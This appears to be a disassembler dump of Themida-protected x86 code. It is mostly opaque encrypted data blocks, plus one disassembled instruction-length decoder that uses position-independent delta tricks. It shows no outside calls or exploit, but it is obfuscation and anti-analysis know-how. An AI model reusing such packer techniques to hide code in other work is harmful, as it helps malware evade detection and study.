0AFB81167h dd 4D3837BEh, 0D7FD713Dh, 5251D6AFh, 8D825F34h, 96BE11D6h dd 303D466Ah, 59D37532h, 7A3B9332h, 0E9830A68h, 8BA4F305h dd 0B8D0FC0h, 0E9000000h, 6, 5DBE04A3h, 850F7284h, 10h dd 0BE9h, 0DBF0BA00h, 0F7603E9Eh, 0ABCF2FA5h, 6AC38Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0A3324CC3h, 0E9EC8B5Fh, 0Bh, 2190F607h, 4F050D5Eh, 8BE125F3h dd 0F08B66C0h, 4E5BD83h, 75000603h, 39BD8309h, 60323h dd 53501974h, 7AB8C08Bh, 89000004h, 3073985h, 269D8D06h dd 0FF0605B6h, 83585BD3h, 32339BDh, 17740006h, 7AB85350h dd 89000004h, 3073985h, 0C79D8D06h, 0FF0605B2h, 0E9585BD3h dd 0Ch, 8207B2F2h, 1D8745BDh, 0DA6FDFAh, 3CE9C08Bh, 1 dd 4Eh dup(0) dd 83000000h, 326D1BDh, 840F0106h, 4D6h, 5E9h, 0A24A5400h dd 85C6CAD6h, 6031BA1h, 188C0F43h, 0E9000000h, 13h, 3363B50Dh dd 0E5847EB2h, 0FDD74CE6h, 9EB293A1h, 680183F7h, 0BF575539h dd 9E9h, 300E7D00h, 54862672h, 34818C10h, 0F285CC24h, 850FF553h dd 8, 2840Fh, 61600000h, 2471B5FFh, 6A0603h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 60668AC3h dd 56D08B60h, 0C2816159h, 12CED926h, 58858D61h, 0F806067Ch dd 5B506060h, 61F9B70Fh, 0FD0FF61h, 28Ah, 89616000h, 324F585h dd 0F606006h, 88h, 12E96100h, 0B5000000h, 45A5D573h, 4CC9FFFFh dd 0A36CDE00h, 0DAFD8631h, 85C66189h, 6031BA1h, 57006A50h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0C979B0F9h, 0B068FCF6h, 0E95999AFh, 9, 6FBFDD38h, 0E4E801DEh dd 2404817Ah, 4F13FDA6h, 13830Fh, 0EE90000h, 20000000h dd 863241E1h, 0D7C0A1B8h, 53C03D11h, 71B5FF8Ah, 0FC060324h dd 7C58858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 252802C3h, 5E96D48h, 0F3000000h dd 0ED4A2144h, 89FCD0FFh, 307A185h, 4E8F906h, 2F000000h dd 0E9F08FA8h, 5, 0D5AED6EEh, 8D0F5032h, 10h, 0A810Fh dd 5E90000h, 25000000h, 0BB136690h, 424448Bh, 21830Fh dd 52500000h, 8A0Fh, 310F0000h, 10E9h, 0CD899600h, 8E71C3C0h dd 2E9ECBB2h, 2AE61B9Eh, 8B585A18h, 0F525000h, 68Dh, 8C0F00h dd 0F000000h, 14E96031h, 30000000h, 6FD3D4FDh, 0FD216162h dd 0A79B1F1Bh, 79E63817h, 0B0C674F7h, 585A612Dh, 4244489h dd 830F5250h, 6, 8E0Fh, 310F0000h, 52505250h, 585A310Fh dd 6160310Fh, 585A585Ah, 16840F58h, 0E9000000h, 11h, 9AF7EF57h dd 8188C184h, 76A44DBCh, 151B8331h, 71B5FF23h, 0F5060324h dd 58858DF8h, 6006067Ch, 1840Fh, 0FF90000h, 0FF61F0B7h dd 14E9D0h, 8E740000h, 0C95716BFh, 315E7D54h, 0B47C7AFBh dd 0C5D9B1ADh, 8589D0EDh, 6031731h, 1830Fh, 0C6FC0000h dd 31BA185h, 0E8F95006h, 4, 979CDC56h, 0EE95250h, 3000000h dd 3983452h, 0BB96AD83h, 0B8182578h, 50310FF3h, 0AE952h dd 46170000h, 736375ECh, 91435F2Bh, 6160310Fh, 585A585Ah dd 0C830F50h, 0F000000h, 688h, 0F525000h, 8B585A31h, 60042444h dd 0CE8C78Bh, 0F3000000h, 6A0612CDh, 0B0B4619Fh, 0E845196Ah dd 0Eh, 51F573D5h, 0C07F17D4h, 0BED3F585h, 585A0892h, 60008B61h dd 31EDBB66h, 66CF8B60h, 6161C68Bh, 4244489h, 0AE9h, 7BED3E00h dd 91F47700h, 5885C76Eh, 4840F60h, 66000000h, 0F450DBFh dd 281h, 615E5000h, 2E1B5FFh, 5E90603h, 25000000h, 0F061C330h dd 38E0858Dh, 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0EAB36DC3h, 0E932CC29h, 0Ah, 74D7100h dd 0E75AE8E7h, 0D0FF5105h, 0F98589FCh, 0F060320h, 1586h dd 10E900h, 25830000h, 8338AAF1h, 7D779FD0h, 93CA09CFh dd 3FE9BEEDh, 0F000001h, 1782h, 0EE96000h, 0B4000000h dd 475E9BD8h, 4A77A647h, 0D3369E63h, 616160F1h, 9BB86095h dd 0F074EAAh, 280h, 6190B200h, 0D68B6050h, 9561F6B0h, 0FEC8BF5h dd 885h, 28C0F00h, 60000000h, 0FCC48361h, 0C28B6660h, 61F9B70Fh dd 0E8F560h, 5A000000h, 746EEA81h, 45C70608h, 0FCh, 0D1BA8300h dd 1060326h, 98840Fh, 6A520000h, 0FF0F6A00h, 324F592h dd 82895A06h, 6086F36h, 6F3A9A8Dh, 0C7520608h, 12803h dd 0FF505300h, 307A192h, 8D525A06h, 86F3A9Ah, 0B2FF5306h dd 6086F36h, 20F992FFh, 0B5A0603h, 8D5074C0h, 86F3A9Ah dd 247B8D06h, 0F981C933h, 104h, 8141D474h, 452E393Ch, 0EE754558h dd 2B39348Dh, 0BA8D0C75h, 6032709h, 0F30C4D8Bh, 0AAC032A4h dd 875FF52h, 2709828Dh, 0FF500603h, 3173192h, 0C00B5A06h dd 45C7A075h, 1FCh, 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h dd 8C0F0008h, 0Dh, 5E960h, 0A3140000h, 0F9F6EC19h, 13860F61h dd 60000000h, 0CE9h, 16264200h, 6C73F678h, 0DE6625E6h dd 0D28B617Ah, 76408D8Dh, 800F0608h, 17h, 12E9h, 7CB59C00h dd 56CE859h, 0EAF16588h, 0FB90901Fh, 893BB04Bh, 320A58Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0D3ED066Fh, 805EEA56h, 950B5851h, 603262Dh dd 1A6585C7h, 5E740603h, 0B5290000h, 6031621h, 7185C7h dd 603h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C58FF8C3h, 0BF801E03h, 2D8E5A94h dd 12E8h, 56B53E00h, 422C9774h, 5613F33Dh, 0B69D282Ah dd 5F5F2067h, 2021B5FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 587B65C3h, 24734ED9h dd 95FF74B4h, 603171Dh, 0EB19D89h, 6A0603h, 23A595FFh dd 0C08B0603h, 551909EBh, 6EDB60B2h, 0E8122829h, 6, 3CF64B81h dd 66602909h, 9E9CF8Bh, 46000000h, 0D146F2F3h, 1FABD5B1h dd 0D8815F61h, 5314DC37h, 7439C781h, 95290000h, 6030AC5h dd 68h, 41B58900h, 5A060307h, 0FFF6B70Fh, 0FE83A34h, 0D8000000h dd 4222E7F1h, 45BBF923h, 1F3FABB5h, 9D898C9Fh, 60330E1h dd 0D88B595Bh, 1751E981h, 858B1DB9h, 60312E1h, 0E26EC181h dd 0BF0F7D54h, 87C181DEh, 0E963E544h, 0Ch, 0CA14398Ch dd 0E17A7E30h, 1A1279DBh, 0C3816651h, 48F7F8Bh, 0AE817h dd 357D0000h, 0F96DA781h, 22344C1Dh, 335EC28Bh, 3219185h dd 0D4EA8106h, 815527D7h, 4F9B55EBh, 0D0C2810Ch, 295527D7h dd 325999Dh, 0C0FA8106h, 0FFFFF8Ch, 1585h, 2BE900h, 0B0980000h dd 85249BCEh, 0D1EC2261h, 0EB15F3BFh, 8501D944h, 6030755h dd 0FFFF4EE9h, 0E1AF40FFh, 0A718FAF6h, 8796C1CAh, 84F6E354h dd 108D8D9Dh, 6A060878h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0E7EAC352h, 8D29F055h dd 603096Dh, 20A58D89h, 0B5290603h, 6030661h, 1A6585C7h dd 6F980603h, 0E3810000h, 6F385FADh, 7185C7h, 603h, 0D0800000h dd 0B1B5FFDDh, 6A06031Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 4095C350h, 22A0D269h dd 6B1D035h, 0C9D8589h, 0E2800603h, 1D95FF24h, 6A060317h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 5657C353h, 8E230966h, 48D0Fh, 0BF660000h dd 6AB224h, 23A595FFh, 0C08B0603h, 0A98A2AEBh, 7E0D017Dh dd 8153E4Dh, 0BA764FC2h, 0CD444F80h, 91B50B4Dh, 4C1612BDh dd 0FD086667h, 20BCFE3Ch, 0CD705EDAh, 0EB67B7C1h, 1C8E9h dd 8 dup(41888800h), 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 100h, 14h dup(0) dd 6380C300h, 7577EDh, 100h, 11h dup(0) dd 353E900h, 0E8550000h, 0 dd 17ED815Dh, 6006087Ah, 796485C7h, 608h, 81660000h, 0FA1663Eh dd 0F85h, 6885C700h, 6060879h, 0E9000000h, 24h, 796C858Dh dd 8D500608h, 879BC85h, 6A565006h, 1DE800h, 0C4830000h dd 0FF2510h, 85890000h, 6087968h, 68B50361h, 8B060879h dd 8796485h db 6, 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_542B30 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_542B3C ; --------------------------------------------------------------------------- loc_542B30: ; CODE XREF: Themida_:00542B19j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_542B3C: ; CODE XREF: Themida_:00542B2Bj push ebx push esi push edi loc_542B3F: ; CODE XREF: Themida_:00542B94j ; Themida_:00542BB0j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_542B52: ; CODE XREF: Themida_:00542B79j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6087ACEh lea ebp, [ebp+6087944h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_542B7F inc cl cmp cl, 0Bh jb loc_542B52 loc_542B7F: ; CODE XREF: Themida_:00542B6Ej cmp cl, 0Bh jz loc_542BDC cmp al, 66h jnz loc_542BBD cmp byte ptr [ebp-5], 0 jnz loc_542B3F cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_542BB5 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_542B3F ; --------------------------------------------------------------------------- loc_542BB5: ; CODE XREF: Themida_:00542BA2j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_542BBD: ; CODE XREF: Themida_:00542B8Aj cmp al, 67h jnz loc_542B3F cmp byte ptr [ebp-6], 0 jnz loc_542B3F xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_542B3F ; --------------------------------------------------------------------------- loc_542BDC: ; CODE XREF: Themida_:00542B82j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_542C08 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_542C0D ; --------------------------------------------------------------------------- loc_542C08: ; CODE XREF: Themida_:00542BE7j movzx edi, al shr edi, 1 loc_542C0D: ; CODE XREF: Themida_:00542C03j push ebp call $+5 pop ebp sub ebp, 6087B86h lea ebp, [ebp+6087844h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_542D8F mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_542CD3 dec ecx jz loc_542CB6 dec ecx jnz loc_542D26 cmp byte ptr [ebp-2], 0 jnz loc_542D22 cmp byte ptr [ebp-5], 0 jz loc_542C95 mov byte ptr [ebp+0Bh], 2 loc_542C95: ; CODE XREF: Themida_:00542C8Bj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 6087C12h mov dword ptr [ebp+6087964h], 1 pop ebp jmp loc_542D26 ; --------------------------------------------------------------------------- loc_542CB6: ; CODE XREF: Themida_:00542C70j cmp byte ptr [ebp-2], 0 jnz loc_542D00 cmp byte ptr [ebp-5], 0 jz loc_542D00 mov byte ptr [ebp+0Bh], 2 jmp loc_542D00 ; --------------------------------------------------------------------------- loc_542CD3: ; CODE XREF: Themida_:00542C69j cmp byte ptr [ebp-2], 0 jnz loc_542D19 cmp byte ptr [ebp-5], 0 jz loc_542D08 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_542D00 mov [ebp+0Bh], cl loc_542D00: ; CODE XREF: Themida_:00542CBAj ; Themida_:00542CC4j ... inc byte ptr [ebp+0Bh] jmp loc_542D26 ; --------------------------------------------------------------------------- loc_542D08: ; CODE XREF: Themida_:00542CE1j cmp dl, 5 jnz loc_542D26 mov [ebp+0Bh], dl jmp loc_542D26 ; --------------------------------------------------------------------------- loc_542D19: ; CODE XREF: Themida_:00542CD7j cmp dl, 6 jnz loc_542D26 loc_542D22: ; CODE XREF: Themida_:00542C81j mov byte ptr [ebp+0Bh], 3 loc_542D26: ; CODE XREF: Themida_:00542C77j ; Themida_:00542CB1j ... dec byte ptr [ebp+0Bh] jz loc_542D54 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_542D36: ; CODE XREF: Themida_:00542D4Cj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_542D36 mov esi, edx loc_542D54: ; CODE XREF: Themida_:00542D29j and al, 0FEh cmp al, 0F6h jnz loc_542D89 cmp edi, 7Fh ja loc_542D89 test bl, 38h jnz loc_542D89 cmp byte ptr [ebp-7], 0 jz loc_542D83 movzx eax, byte ptr [ebp-4] jmp loc_542D86 ; --------------------------------------------------------------------------- loc_542D83: ; CODE XREF: Themida_:00542D74j push 1 pop eax loc_542D86: ; CODE XREF: Themida_:00542D7Ej mov [ebp-1], al loc_542D89: ; CODE XREF: Themida_:00542D58j ; Themida_:00542D61j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_542D8F: ; CODE XREF: Themida_:00542C39j mov al, bl and eax, 7 sub eax, 4 jz loc_542DBA dec eax dec eax jz loc_542DB0 and bl, 7 add [ebp-1], bl jmp loc_542DC2 ; --------------------------------------------------------------------------- loc_542DB0: ; CODE XREF: Themida_:00542D9Fj mov al, [ebp-3] add al, 6 jmp loc_542DBF ; --------------------------------------------------------------------------- loc_542DBA: ; CODE XREF: Themida_:00542D97j mov al, [ebp-3] add al, 4 loc_542DBF: ; CODE XREF: Themida_:00542DB5j add [ebp-1], al loc_542DC2: ; CODE XREF: Themida_:00542DABj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_542DEA movzx ecx, byte ptr [ebp-1] inc ecx loc_542DD5: ; CODE XREF: Themida_:00542DE4j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_542DD5 loc_542DEA: ; CODE XREF: Themida_:00542DCAj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLI db '-',0 align 4 dd 0AE0DD000h, 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h dd 0ADF99CBEh, 89937EE5h, 8168009Dh, 0BD146726h, 60703B2h dd 0EAE9384Ah, 6800000Ah, 6087EC1h, 0FB007CE9h, 7FD668FFh dd 72E90608h, 68FFFB00h, 608811Ah, 0FB0068E9h, 81C868FFh dd 5EE90608h, 68FFFB00h, 60882B8h, 0FB0054E9h, 83CC68FFh dd 4AE90608h, 68FFFB00h, 6088482h, 0FB0040E9h, 862C68FFh dd 36E90608h, 68FFFB00h, 60886FBh, 0FB002CE9h, 0F8C14AFFh dd 17E86E8Ch, 34058DABh, 5720AAC8h, 7748CDEBh, 3C004C0Bh dd 5C7AE6B7h, 7E9C08D1h, 9FBD29F2h, 0D6DB4718h, 38115F2Ah dd 0D3E1D019h, 24FC29C0h, 0C272E5B0h, 606EDC19h, 0E0908D9h dd 0E95D6A16h, 0FF401FE0h, 0ADA8A778h, 0ECAE6B62h, 35BCCAF4h dd 53DAF864h, 275E8382h, 0E8B3E559h, 0D019758Ah, 3B655D6Ah dd 0E60CD709h, 8ED01975h, 30C68981h, 0B0DA11F2h, 45262FA3h dd 0A1004A2Ch, 0D7E50F07h, 2BFC8250h, 0C74E6CD8h, 0EE7482F6h dd 4B70251Dh, 7D246D2h, 0D004277Ch, 11E26A78h, 41C71712h dd 9ECC7870h, 38370890h, 36C2303Dh, 0CC58C402h, 13090403h dd 31D41AE5h, 8F9CC402h, 4392E93Ch, 0E2DAC830h, 929DAE1h dd 8E170000h, 0B53B59C5h, 0D25A78E4h, 0ED779501h, 159AB824h dd 0CD19D844h, 47B38409h, 69D59E29h, 8AF6BF4Bh, 0A814E56Ch dd 0C62CF7A3h, 0AED0193Bh, 0CF568DA0h, 8007FFFEh, 8DF843AFh dd 9FB47FF3h, 17DC144Ah, 1C560B0Ah, 0A1D01240h, 7546CBD9h dd 17A5A27Dh, 5A3AE2DCh, 3357h, 0FC29A600h, 707EB024h dd 5E2119EAh, 0DC14685Dh, 54090815h, 0D012661Ah, 9B29269Fh dd 5A3AC050h, 9253DEECh, 0BA6E05A1h, 6B6ABDCFh, 0D53D7870h dd 8C000000h, 0CC9D2432h, 7647CED4h, 29FA7F77h, 0DAAB322Ah dd 935CE3DBh, 3BC67BFBh, 119CECDFh, 0AE89F548h, 0D611C249h dd 0B7748CFh, 969566EDh, 17E06C7Ah, 5AD21D18h, 9D90E5FCh dd 0D14C7F77h, 0BEAF734Fh, 479A077Dh, 920308D3h, 1623DC14h dd 5A265FAAh, 0B782B4E6h, 0D012ADB9h, 32400B39h, 0C2D012ADh dd 0A76A62B5h, 0DA151282h, 5563D7E4h, 828BFFD0h, 0D49DADF2h dd 0A1C3BBCBh, 0D62DFE83h, 0D4BDBF7Dh, 14282F30h, 2C000008h dd 506EDAA3h, 6F8DF9CAh, 8CAA16E7h, 0AFCD3902h, 2EED592Ah dd 0C8991EE2h, 0EAB33E5Ch, 0BD4607Eh, 29FA819Fh, 410CB8BDh dd 0D0193A33h, 32A2B5C3h, 0D0CF9824h, 52D7DDD5h, 0C5D31581h dd 71776F40h, 0C72DF8EAh, 0AFD61145h, 0E34FA2h, 0B024FC29h dd 1468C2E5h, 908F9CDCh, 0EDF6674h, 591C140Fh, 0D012661Fh dd 2B2AF37Dh, 5CE3A933h, 3039388Bh, 567F2A27h, 614E0DDh dd 0B7B2B17Ah, 0C018D3BFh, 0C135A3Ah, 62000001h, 0FFFECF56h dd 3DB18207h, 52DEA42Fh, 893E3689h, 114997D4h, 7C6EF5D6h dd 114143B1h, 2120DED6h, 0F6AEF32Fh, 0B47FF300h, 0D61129BEh dd 6AD62936h, 0C4951A28h, 7942CDC5h, 89E7B226h, 69D61129h dd 0D75E645Ch, 0DEBB8409h, 0A0C2390Bh, 1EA6F649h, 0D6FBFA4Dh dd 0F81ED9AFh, 0FCF175F5h, 380335A9h, 0D6115C3Ah, 8BB5ADBAh dd 14465BC0h, 0E2ADDBDCh, 0D012718Ch, 98045764h, 0D448D04Dh dd 83EEB4CBh, 0F9036B14h, 0BF1AA8E3h, 9CC6BE11h, 3D45C6Ah dd 4E110904h, 0DA1592FAh, 0EBF96D7Ah, 0E7299566h, 5284EAB5h dd 626CDA18h, 0C0B80BDCh, 0D6435BAh, 0D4BDD2AAh, 0D0697071h dd 70000006h, 94B21EE7h, 0B3D13D0Eh, 0D0EE5A2Bh, 0F3117D46h dd 72319D6Eh, 0CDD6226h, 2EF782A0h, 4F18A4C2h, 6D3EC5E3h dd 8550FC01h, 0D019C46Fh, 32E6F907h, 0D3CB9C24h, 0A07F48CDh dd 17E06AEEh, 0FE1209CCh, 9D2937ABh, 9CBADCD4h, 0F4BD4715h dd 565235A1h, 7FFFECFh, 6843AF80h, 0D611450Eh, 0E65A265Fh dd 877F50D8h, 0C2D7925Dh, 828FDC19h, 0DFAADC0Eh, 0D0193891h dd 3CC5761h, 0BEB60904h, 0F46031B8h, 7F7E4FD6h, 0E155235Ah dd 1C182516h, 5F6D9FDAh, 0F6FC09DAh, 7EDA1ADBh, 1F1EEF74h dd 2DD9D124h, 595CC920h, 3637D4C0h, 6222Fh, 0CC951E00h dd 0EBBC4260h, 8D9617Fh, 2BF47E9Ch, 4B1CA1BFh, 10D420DFh dd 304EBA8Bh, 5270DCA5h, 7391FDC6h, 0AAAF1BECh, 0C43D33FEh dd 0A7B5D019h, 0FECF5694h, 678D588Ah, 0FD61145h, 0C010F70Ah dd 9FF2FE15h, 0C8D6F2A7h, 75706F40h, 1FF0777Dh, 1D84A2ABh dd 8FE78593h, 0ECE43708h, 0CDCA8937h, 0EE04CF01h, 2CD61175h dd 0D6E3D9A2h, 8051D8DEh, 0D5A0D214h, 0D611759Fh, 66524A57h dd 5C39D36Dh, 7A8h, 0BA47F700h, 4A000001h, 11455F99h, 8B1590D6h dd 0B47D0917h, 98C2BAB5h, 1D25866h, 66BC0702h, 0F741B57Dh dd 0F78D5048h, 1DC199Fh, 0A59D6EF3h, 6A78ECF9h, 1B1615DEh dd 0B9C7F923h, 676D652Eh, 85A30FE0h, 92E2DFEh, 0C590049Ch dd 0DA1CBF52h, 0EDB6404Eh, 0A26BF6EEh, 0A1AB574Fh, 524D4C15h dd 0B631A8FFh, 1F20D4C0h, 53218h, 0BC850E00h, 0DBAC3250h dd 0F8C9516Fh, 1BE46E8Ch, 3B0C91AFh, 0C410CFh, 203EAA7Bh dd 4260CC95h, 6381EDB6h, 9A9F0BDCh, 0C7CD23EEh, 97A5D019h dd 35003284h, 0D611453Fh, 0ACB2AAB7h, 39555425h, 7D597630h dd 0E95D4BB6h, 1141D01Eh, 9B93A0D6h, 0C93D0E95h, 656435BBh dd 0FBD726Ah, 24AB5350h, 0E8E3E753h, 235C39E7h, 13h, 0E34772h dd 0DDEB0000h, 9D6C8F58h, 0FDAFFA33h, 32E7B2AAh, 0D2D19A24h dd 71ACDFD7h, 0F76833A7h, 6FDC19C2h, 6318D46Ah, 0EB3E83DBh dd 11E26977h, 2F0087A5h, 6920B30h, 8F31C792h, 0A4B1DA11h dd 0CA9B2230h, 1FEA1C5Eh, 0DA018ED1h, 0F2F1C247h, 0FCF401F7h dd 9F9E6FF6h, 4654037Ah, 93E1EEBFh, 9DA018Eh, 0BBB6B57Eh dd 0A6CC97C5h, 4EDA018Eh, 149EEE41h, 0B984F84Bh, 0D004852Eh dd 0FBC6F82Ah, 0C40291F5h, 0D63707Dh, 0E5C40291h, 87864FDBh dd 9541398Ch, 0AF35038Bh, 91E4DFDEh, 8F66E73Eh, 6869DAC8h dd 41E61h, 0D0992200h, 0EFC04664h, 0CDD6583h, 2FF882A0h dd 4F20A5C3h, 14D824E3h, 3452BE8Fh, 5674E0A9h, 779501CAh dd 0AEB31FF0h, 0C6393702h, 0ABB9D019h, 35003298h, 0D611453Fh dd 9DB2AAB7h, 0FEh, 24FC29A0h, 0C272E5B0h, 0DFECDC19h dd 0A52B396Bh, 0E2DAD5D4h, 188455DCh, 743DC8D6h, 1EEF767Ch dd 0F883FA1Fh, 0DB4FA273h, 11BC7A10h, 65F0FADAh, 52A29D9Ch dd 35A9FCCDh, 0A270F503h, 0F8F74A1Bh, 78FF05FDh, 0A02533A7h dd 73B5D7CFh, 0B9787641h, 0EBF8DA01h, 9D66EDF3h, 83161407h dd 32318439h, 9408900Dh, 48F3EC9h, 54ABB8D0h, 0DAC886C9h dd 68D8DFE0h, 0D8000003h, 0FC1A864Fh, 1B39A576h, 3856C293h dd 5B79E5AEh, 0DA9905D6h, 7445CA8Eh, 965FEA08h, 0B7800C2Ah dd 0D5A62D4Bh, 0EDB86469h, 0D019C187h, 564E616Fh, 7FFFECFh dd 2B0AF80h, 8D5EE6F4h, 0C09B938Eh, 0C3941BC3h, 80071557h dd 0CBB7AFh, 0B5C39E3h, 32h, 24FC295Ah, 4D16A2B0h, 315B534Eh dd 14929566h, 0CC404DDCh, 0F96536BEh, 1208D51Eh, 0EBBC43D0h dd 8D9617Fh, 57DFED09h, 948C8786h, 2E27Fh, 0CA568200h dd 830A0201h, 0A12846B2h, 0C74E5CD0h, 0D04F7F6h, 60461AA0h dd 49FEF649h, 7D01CA51h, 84FB24F9h, 0D6218DE0h, 2B5DD1AFh dd 0E204F522h, 261EDA39h, 14CE2C63h, 0BAB9C6DCh, 12CCEB05h dd 0DAD750D0h, 3A6E874Ch, 2E8E5Ah, 29DD0000h, 0E5B024FCh dd 0DC1468C2h, 121B8F9Ch, 34A01497h, 661B1315h dd 129847B1h, 2634FCD0h, 0DBD39Ch, 3E7E7503h, 0EBB55A3Ah dd 4000000h, 7B01CF56h, 585728ADh, 0B8B70A5Dh, 6B6A3BC0h dd 0ECB5414Fh, 0F4FAF2EDh, 1F289C6Dh, 97AE02A3h, 0E3989052h dd 279364EBh, 11B02F4Ch, 15E66DD6h, 33048BA9h, 0A960F34h dd 5B996496h, 1BD611B8h, 0BAEC160Eh, 555425ACh, 1C9F625Ah dd 0D8DC14B1h, 4195DBA6h, 14DFD015h, 0D01541DEh, 86938996h dd 69D5E28Eh, 0A519E71Eh, 403F1097h, 0ED752E4Dh, 0DF32F93Bh dd 9EF2BDE7h, 96DA1278h, 82071589h, 0FA0345B1h, 0DDB9A2DEh dd 32400B52h, 0C2DA1BB2h, 646A62B5h, 506E16DFh, 0B9C45261h dd 0C17A0F66h, 0A4A5D4BEh, 1BE9Dh, 30F98200h, 4F20A6C4h dd 6C3DC5E3h, 8F58E200h, 0AF800523h, 74388443h, 94B21EEFh dd 0B6D44009h, 0D7F5612Ah, 0E137F50h, 0C3599762h, 0B19D019h dd 0D156F8h, 21EF7694h, 478CB9Ch, 0A79F70F6h, 0FC29A285h dd 0C2E5B024h, 9CDC1468h, 91DB908Fh, 26D01266h, 0A922B0ADh dd 645A3AC0h, 0BBh, 0FECF56B3h, 0B18207FFh, 49FEFDB2h dd 971ED611h, 0B53C5AC6h, 41FAF8C3h, 9620D611h, 77CAD7CDh dd 4E2A5378h, 48AC0FDAh, 0B9C6DC14h, 0FD9B024Dh, 28F67B89h dd 877FD2A3h, 0FB9F925Dh, 4B59DA15h, 5400F8C1h, 6FA1D347h dd 19FA4EA4h, 2DF826DAh, 0DA19FAC7h, 574FA2AFh, 8FFBCC51h dd 0E7B83F4Dh, 9364E9EFh, 0BD7A9D3Ch, 0D4DBDCD4h, 0EFh dd 93FFC851h, 0B21EEF75h, 0CF3B0C94h, 0F25E27B1h, 127E4FD4h dd 0BE430753h, 0D86381EDh, 0F985A30Fh, 1FA6C430h, 31DDE24Eh dd 19C30866h, 0C7DAE8D0h, 0CB9C2432h, 7F48CDD3h, 0D56103BBh dd 6B6AC10Ch, 0D4F25EB1h, 2CF57F4Dh, 328A6DD9h, 453F3500h dd 0AAB7D611h, 5425ACB2h, 5D65D55h, 51D74E99h, 4C3A69EBh dd 6D3EC6FAh, 4553C71Ah, 0CFF9F1BAh, 19521B04h, 0AB8C95DCh dd 0ADB636Ch, 0F21517BFh, 42414EFAh, 86F2C34Ah, 24EFE168h dd 0D0189ACEh, 474699A6h, 5A0CB292h, 100D6812h, 0A410E168h dd 2F2EFF86h, 0AF800513h, 6127B1B7h, 130E0DD6h, 0C4A3C1C0h dd 63EDFBC7h, 0A8A09B9Ah, 0D64A1BA2h, 289BD9A4h, 4E5B925Dh dd 0C0F23456h, 5D28FFF5h, 726A7792h, 1514E56Ch, 120Eh dd 0B580B200h, 925D28BFh, 0D6A72D37h, 9189DCD7h, 563D54C6h dd 0D0504CDh, 0BEB6B586h, 726A6932h, 271F1EE7h, 0DAD2D1A2h dd 8D858455h, 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh, 763268h dd 243C8900h, 4EC81h, 4890000h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 57241C89h, 87DF4BFh, 8BF88906h, 0C481243Ch dd 4, 